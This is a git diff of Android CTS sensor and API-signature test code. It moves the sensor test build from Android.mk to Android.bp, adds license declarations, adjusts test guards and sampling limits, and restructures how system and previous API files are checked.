diff --git a/tests/sensor/Android.bp b/tests/sensor/Android.bp
new file mode 100644
index 0000000..9e6e552
--- /dev/null
+++ b/tests/sensor/Android.bp
@@ -0,0 +1,104 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//
+// Reusable Sensor test classes and helpers
+//
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library {
+    name: "cts-sensors-tests",
+    defaults: ["cts_error_prone_rules_tests"],
+
+    static_libs: ["compatibility-device-util-axt"],
+
+    libs: [
+        "platform-test-annotations",
+        "android.test.base.stubs",
+    ],
+
+    sdk_version: "test_current",
+
+    srcs: ["src/**/*.java"],
+}
+
+//
+// JNI components for testing NDK
+//
+cc_library_shared {
+    name: "libcts-sensors-ndk-jni",
+
+    cflags: [
+        "-Werror",
+        "-Wall",
+        "-Wextra",
+    ],
+
+    srcs: [
+        "jni/SensorTest.cpp",
+        "jni/SensorTestCases.cpp",
+        "jni/android_hardware_cts_SensorDirectReportTest.cpp",
+        "jni/android_hardware_cts_SensorNativeTest.cpp",
+        "jni/nativeTestHelper.cpp",
+    ],
+
+    header_libs: ["jni_headers"],
+
+    shared_libs: [
+        "libandroid",
+        "liblog",
+    ],
+
+    sdk_version: "current",
+
+    stl: "c++_shared",
+}
+
+//
+// CtsSensorTestCases package
+//
+android_test {
+    name: "CtsSensorTestCases",
+    defaults: [
+        "cts_defaults",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "cts-sensors-tests",
+    ],
+
+    jni_libs: ["libcts-sensors-ndk-jni"],
+
+    sdk_version: "test_current",
+
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+
+    stl: "c++_shared",
+}
diff --git a/tests/sensor/Android.mk b/tests/sensor/Android.mk
deleted file mode 100644
index d198b04..0000000
--- a/tests/sensor/Android.mk
+++ /dev/null
@@ -1,96 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#
-# Reusable Sensor test classes and helpers
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := cts-sensors-tests
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := platform-test-annotations android.test.base.stubs
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
--include cts/error_prone_rules_tests.mk
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-#
-# JNI components for testing NDK
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libcts-sensors-ndk-jni
-
-LOCAL_CFLAGS += -Werror -Wall -Wextra
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
-    jni/SensorTest.cpp \
-    jni/SensorTestCases.cpp \
-    jni/android_hardware_cts_SensorDirectReportTest.cpp \
-    jni/android_hardware_cts_SensorNativeTest.cpp \
-    jni/nativeTestHelper.cpp
-
-LOCAL_HEADER_LIBRARIES := jni_headers
-
-LOCAL_SHARED_LIBRARIES := libandroid liblog
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_NDK_STL_VARIANT := c++_shared
--include cts/error_prone_rules_tests.mk
-include $(BUILD_SHARED_LIBRARY)
-
-#
-# CtsSensorTestCases package
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-# include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    cts-sensors-tests \
-
-LOCAL_JNI_SHARED_LIBRARIES := libcts-sensors-ndk-jni
-
-LOCAL_PACKAGE_NAME := CtsSensorTestCases
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_NDK_STL_VARIANT := c++_shared
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
index 00defeb..6915db3 100644
--- a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
@@ -55,13 +55,12 @@
         List<Sensor> list = mSensorManager.getSensorList(Sensor.TYPE_ALL);
         List<String> errors = new ArrayList<String>();
         for (Sensor s : list) {
-            // skip vendor sensor types, one-shot and on-change sensors.
-            if (s.getType() >= Sensor.TYPE_DEVICE_PRIVATE_BASE ||
-                    s.getReportingMode() == Sensor.REPORTING_MODE_ONE_SHOT ||
-                    s.getReportingMode() == Sensor.REPORTING_MODE_ON_CHANGE) {
+            // Only test sensor additional info for Accelerometer, Gyroscope and Magnetometer.
+            if (s.getType() != Sensor.TYPE_ACCELEROMETER &&
+                    s.getType() != Sensor.TYPE_GYROSCOPE &&
+                    s.getType() != Sensor.TYPE_MAGNETIC_FIELD) {
                 continue;
             }
-
             if (!s.isAdditionalInfoSupported()) {
                 // check SensorAdditionalInfo is supported for Automotive sensors.
                 if (getContext().getPackageManager().hasSystemFeature(
diff --git a/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java b/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
index 974d02a..790880b 100644
--- a/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
@@ -933,6 +933,11 @@
         if (samplingPeriodUs < s.getMinDelay()) {
             return;
         }
+
+        if (samplingPeriodUs > s.getMaxDelay()) {
+            samplingPeriodUs = s.getMaxDelay();
+        }
+
         resetEvent();
 
         mChannel = prepareDirectChannel(memType, false /* secondary */);
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index 065441a..be5d6d7 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -80,6 +80,7 @@
 
     private boolean mIsAutomotive;
     private boolean mHasHifiSensors;
+    private boolean mHasProximitySensor;
     private boolean mVrModeHighPerformance;
     private SensorManager mSensorManager;
 
@@ -89,6 +90,7 @@
         mSensorManager = (SensorManager) getContext().getSystemService(Context.SENSOR_SERVICE);
         mIsAutomotive = pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
         mHasHifiSensors = pm.hasSystemFeature(PackageManager.FEATURE_HIFI_SENSORS);
+        mHasProximitySensor = pm.hasSystemFeature(PackageManager.FEATURE_SENSOR_PROXIMITY);
         mVrModeHighPerformance = pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
     }
 
@@ -215,7 +217,7 @@
     }
 
     public void testProximityFifoLength() throws Throwable {
-        if (!mHasHifiSensors) return;
+        if (!mHasHifiSensors || !mHasProximitySensor) return;
         checkMinFifoLength(Sensor.TYPE_PROXIMITY, PROXIMITY_SENSOR_MIN_FIFO_LENGTH);
     }
 
diff --git a/tests/sensor/src/android/hardware/cts/SensorTest.java b/tests/sensor/src/android/hardware/cts/SensorTest.java
index f48ed77..68ab07d 100644
--- a/tests/sensor/src/android/hardware/cts/SensorTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorTest.java
@@ -37,6 +37,7 @@
 import android.hardware.cts.helpers.sensorverification.EventGapVerification;
 import android.hardware.cts.helpers.sensorverification.EventOrderingVerification;
 import android.hardware.cts.helpers.sensorverification.EventTimestampSynchronizationVerification;
+import android.os.Build.VERSION_CODES;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.PowerManager;
@@ -44,6 +45,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
 import android.util.Log;
+import com.android.compatibility.common.util.PropertyUtil;
 
 import junit.framework.Assert;
 
@@ -87,7 +89,8 @@
 
         mAndroidSensorList = new ArrayList<>();
         for (Sensor s : mSensorList) {
-            if (s.getType() < Sensor.TYPE_DEVICE_PRIVATE_BASE) {
+            if (s.getType() < Sensor.TYPE_DEVICE_PRIVATE_BASE &&
+                    (!context.getPackageManager().isInstantApp() || s.getType() != Sensor.TYPE_HEART_RATE)) {
                 mAndroidSensorList.add(s);
             }
         }
@@ -563,7 +566,11 @@
                     sensor.getResolution() <= maxResolution);
         }
 
-        if (SensorCtsHelper.hasMinResolutionRequirement(sensor)) {
+        // The minimum resolution requirement was introduced to the CDD in R so
+        // it's only possible to assert compliance for devices that release with
+        // R or later.
+        if (PropertyUtil.getFirstApiLevel() >= VERSION_CODES.R &&
+                SensorCtsHelper.hasMinResolutionRequirement(sensor)) {
             float minResolution = SensorCtsHelper.getRequiredMinResolutionForSensor(sensor);
             assertTrue("Resolution must be >= " + minResolution + ". Resolution =" +
                     sensor.getResolution() + " " + sensor.getName(),
diff --git a/tests/signature/Android.bp b/tests/signature/Android.bp
index 5cadd88..78ea10e 100644
--- a/tests/signature/Android.bp
+++ b/tests/signature/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 // Compat.
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_host {
     name: "signature-hostside",
     visibility: [
diff --git a/tests/signature/TEST_MAPPING b/tests/signature/TEST_MAPPING
index 1217e0c..183d131 100644
--- a/tests/signature/TEST_MAPPING
+++ b/tests/signature/TEST_MAPPING
@@ -28,6 +28,17 @@
       "name": "CtsIntentSignatureTestCases"
     },
     {
+        "name": "CtsSystemApiAnnotationTestCases"
+    },
+    {
+        "name": "CtsSystemApiSignatureTestCases"
+    },
+    {
+      "name": "CtsSharedLibsApiSignatureTestCases"
+    }
+  ],
+  "postsubmit": [
+    {
         "name": "CtsHiddenApiKillswitchDebugClassTestCases"
     },
     {
@@ -37,21 +48,6 @@
         "name": "CtsHiddenApiKillswitchWildcardTestCases"
     },
     {
-        "name": "CtsSystemApiAnnotationTestCases"
-    },
-    {
-        "name": "CtsSystemApiSignatureTestCases"
-    },
-    {
-      "name": "CtsSharedLibsApiSignatureTestCases"
-    },
-    {
-      "name": "signature-host-tests",
-      "host" : true
-    }
-  ],
-  "postsubmit": [
-    {
       "name": "CtsHiddenApiBlocklistApi27TestCases"
     },
     {
diff --git a/tests/signature/api-check/Android.bp b/tests/signature/api-check/Android.bp
index d4dfc5f..3f686c2 100644
--- a/tests/signature/api-check/Android.bp
+++ b/tests/signature/api-check/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_library_shared {
     name: "libclassdescriptors",
 
@@ -91,4 +95,3 @@
         "libcts_dexchecker",
     ],
 }
-
diff --git a/tests/signature/api-check/android-test-base-28-api/Android.bp b/tests/signature/api-check/android-test-base-28-api/Android.bp
index 8717b17..b4cd1a2 100644
--- a/tests/signature/api-check/android-test-base-28-api/Android.bp
+++ b/tests/signature/api-check/android-test-base-28-api/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAndroidTestBase28ApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/android-test-base-current-api/Android.bp b/tests/signature/api-check/android-test-base-current-api/Android.bp
index 52ed46b..8353135 100644
--- a/tests/signature/api-check/android-test-base-current-api/Android.bp
+++ b/tests/signature/api-check/android-test-base-current-api/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAndroidTestBaseCurrentApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/android-test-mock-current-api/Android.bp b/tests/signature/api-check/android-test-mock-current-api/Android.bp
index d017870..52fbe50 100644
--- a/tests/signature/api-check/android-test-mock-current-api/Android.bp
+++ b/tests/signature/api-check/android-test-mock-current-api/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAndroidTestMockCurrentApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/android-test-runner-current-api/Android.bp b/tests/signature/api-check/android-test-runner-current-api/Android.bp
index d8fdad2..5a5b258 100644
--- a/tests/signature/api-check/android-test-runner-current-api/Android.bp
+++ b/tests/signature/api-check/android-test-runner-current-api/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAndroidTestRunnerCurrentApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/Android.bp b/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
index aca1897..dab62ce 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
+++ b/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsApacheHttpLegacy27ApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.bp b/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
index 9ae437a..e47f82c 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
+++ b/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsApacheHttpLegacyCurrentApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
index 2b414c3..c02629ff 100644
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/current-api/Android.bp b/tests/signature/api-check/current-api/Android.bp
index 04eced6..4114272 100644
--- a/tests/signature/api-check/current-api/Android.bp
+++ b/tests/signature/api-check/current-api/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsCurrentApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp
index bf603a7..86cb1ee 100644
--- a/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsHiddenApiBlocklistApi27TestCases",
     defaults: [
diff --git a/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp
index 8aa4d36..7c9f844 100644
--- a/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsHiddenApiBlocklistApi28TestCases",
     defaults: [
diff --git a/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp
index a0031cb..67e5742 100644
--- a/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsHiddenApiBlocklistCurrentApiTestCases",
     defaults: [
diff --git a/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp b/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp
index c21810a..38e68c9 100644
--- a/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsHiddenApiBlocklistDebugClassTestCases",
     defaults: [
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp
index 89621ca..4ee2db5 100644
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsHiddenApiBlocklistTestApiTestCases",
     defaults: [
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp
index 5e88438..d6a1c14 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsHiddenApiKillswitchDebugClassTestCases",
     defaults: ["hiddenapi-killswitch-check-defaults"],
diff --git a/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp b/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp
index b5c594b..5384558 100644
--- a/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp
+++ b/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsHiddenApiKillswitchSdkListTestCases",
     defaults: ["hiddenapi-killswitch-check-defaults"],
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp
index 599a8a1..1be25d4 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsHiddenApiKillswitchWildcardTestCases",
     defaults: ["hiddenapi-killswitch-check-defaults"],
diff --git a/tests/signature/api-check/shared-libs-api/Android.mk b/tests/signature/api-check/shared-libs-api/Android.mk
index 92c66d1..3128444 100644
--- a/tests/signature/api-check/shared-libs-api/Android.mk
+++ b/tests/signature/api-check/shared-libs-api/Android.mk
@@ -28,6 +28,8 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := cts-shared-libs-all.api
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_STEM := shared-libs-all.api.zip
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
@@ -49,6 +51,8 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_MODULE := cts-api-signature-multilib-test
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/signature/api-check/shared-libs-api/AndroidManifest.xml b/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
index 663ef6b..d0ac28f7 100644
--- a/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
+++ b/tests/signature/api-check/shared-libs-api/AndroidManifest.xml
@@ -27,6 +27,7 @@
         <uses-library android:name="android.test.runner" android:required="false"/>
         <uses-library android:name="android.net.ipsec.ike" android:required="false"/>
         <uses-library android:name="com.android.future.usb.accessory" android:required="false"/>
+        <uses-library android:name="com.android.libraries.tv.tvsystem" android:required="false"/>
         <uses-library android:name="com.android.location.provider" android:required="false"/>
         <uses-library android:name="com.android.mediadrm.signer" android:required="false"/>
         <uses-library android:name="com.android.media.remotedisplay" android:required="false"/>
diff --git a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
index 5499119..f74a027 100644
--- a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
+++ b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
@@ -46,7 +46,9 @@
 
             ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
-            parseApiResourcesAsStream(apiDocumentParser, expectedApiFiles)
+            parseApiResourcesAsStream(apiDocumentParser,
+                    Stream.concat(Arrays.stream(systemApiFiles), Arrays.stream(previousApiFiles))
+                    .toArray(String[]::new))
                     .forEach(complianceChecker::checkSignatureCompliance);
 
             // After done parsing all expected API files, perform any deferred checks.
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
index 937d074..440430d 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
@@ -36,15 +36,17 @@
 
     private static final String TAG = SignatureTest.class.getSimpleName();
 
-    protected String[] expectedApiFiles;
+    protected String[] systemApiFiles;
+    protected String[] previousApiFiles;
     protected String[] baseApiFiles;
     private String[] unexpectedApiFiles;
 
     @Override
     protected void initializeFromArgs(Bundle instrumentationArgs) {
-        expectedApiFiles = getCommaSeparatedList(instrumentationArgs, "expected-api-files");
+        systemApiFiles = getCommaSeparatedList(instrumentationArgs, "system-api-files");
         baseApiFiles = getCommaSeparatedList(instrumentationArgs, "base-api-files");
         unexpectedApiFiles = getCommaSeparatedList(instrumentationArgs, "unexpected-api-files");
+        previousApiFiles = getCommaSeparatedList(instrumentationArgs, "previous-api-files");
     }
 
     /**
@@ -70,12 +72,12 @@
 
             // Load classes from any API files that form the base which the expected APIs extend.
             loadBaseClasses(complianceChecker);
-
-            ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
-
-            parseApiResourcesAsStream(apiDocumentParser, expectedApiFiles)
-                    .filter(not(unexpectedClasses::contains))
-                    .forEach(complianceChecker::checkSignatureCompliance);
+            // Load classes from system API files and check for signature compliance.
+            checkClassesSignatureCompliance(complianceChecker, systemApiFiles, unexpectedClasses,
+                    false /* isPreviousApi */);
+            // Load classes from previous API files and check for signature compliance.
+            checkClassesSignatureCompliance(complianceChecker, previousApiFiles, unexpectedClasses,
+                    true /* isPreviousApi */);
 
             // After done parsing all expected API files, perform any deferred checks.
             complianceChecker.checkDeferred();
@@ -110,4 +112,14 @@
         parseApiResourcesAsStream(apiDocumentParser, baseApiFiles)
                 .forEach(complianceChecker::addBaseClass);
     }
+
+    private void checkClassesSignatureCompliance(ApiComplianceChecker complianceChecker,
+            String[] classes, Set<JDiffClassDescription> unexpectedClasses, boolean isPreviousApi) {
+        ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
+        parseApiResourcesAsStream(apiDocumentParser, classes)
+                .filter(not(unexpectedClasses::contains))
+                .map(clazz -> clazz.setPreviousApiFlag(isPreviousApi))
+                .forEach(complianceChecker::checkSignatureCompliance);
+    }
+
 }
diff --git a/tests/signature/api-check/system-annotation/Android.bp b/tests/signature/api-check/system-annotation/Android.bp
index c0364bf..eb36adc 100644
--- a/tests/signature/api-check/system-annotation/Android.bp
+++ b/tests/signature/api-check/system-annotation/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSystemApiAnnotationTestCases",
     defaults: [
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 4a61a40..669e033 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -30,6 +30,8 @@
         <option name="instrumentation-arg" key="expected-api-files" value="system-current.api.gz,system-removed.api.gz,car-system-current.api.gz,car-system-removed.api.gz" />
         <option name="instrumentation-arg" key="annotation-for-exact-match" value="@android.annotation.SystemApi\(client=PRIVILEGED_APPS\)" />
         <option name="runtime-hint" value="30s" />
+        <!-- Disable hidden API checks (http://b/171459260). -->
+        <option name="hidden-api-checks" value="false" />
     </test>
 
     <!-- Controller that will skip the module if a native bridge situation is detected -->
diff --git a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
index 78f114b..efefdd5 100644
--- a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
+++ b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
@@ -20,9 +20,14 @@
 import android.os.Bundle;
 import android.signature.cts.AnnotationChecker;
 import android.signature.cts.ApiDocumentParser;
+import android.signature.cts.JDiffClassDescription;
 
 import com.android.compatibility.common.util.PropertyUtil;
 
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
 /**
  * Checks that parts of the device's API that are annotated (e.g. with android.annotation.SystemApi)
  * match the API definition.
@@ -47,9 +52,33 @@
     public void testAnnotation() {
         if ("true".equals(PropertyUtil.getProperty("ro.treble.enabled")) &&
                 PropertyUtil.getFirstApiLevel() > Build.VERSION_CODES.O_MR1) {
+            AnnotationChecker.ResultFilter filter = new AnnotationChecker.ResultFilter() {
+                @Override
+                public boolean skip(Class<?> clazz) {
+                    return false;
+                }
+
+                @Override
+                public boolean skip(Constructor<?> ctor) {
+                    return false;
+                }
+
+                @Override
+                public boolean skip(Method m) {
+                    return false;
+                }
+
+                @Override
+                public boolean skip(Field f) {
+                    // The R.styleable class is not part of the API because it's annotated with
+                    // @doconly. But the class actually exists in the runtime classpath.  To avoid
+                    // the mismatch, skip the check for fields from the class.
+                    return "android.R$styleable".equals(f.getDeclaringClass().getName());
+                }
+            };
             runWithTestResultObserver(resultObserver -> {
                 AnnotationChecker complianceChecker = new AnnotationChecker(resultObserver,
-                        classProvider, annotationForExactMatch);
+                        classProvider, annotationForExactMatch, filter);
 
                 ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
diff --git a/tests/signature/api-check/system-api/Android.mk b/tests/signature/api-check/system-api/Android.mk
index c37915b..6649ed8 100644
--- a/tests/signature/api-check/system-api/Android.mk
+++ b/tests/signature/api-check/system-api/Android.mk
@@ -26,10 +26,11 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := cts-system-all.api
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_STEM := system-all.api.zip
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-LOCAL_COMPATIBILITY_SUITE := arcts cts general-tests
 include $(BUILD_SYSTEM)/base_rules.mk
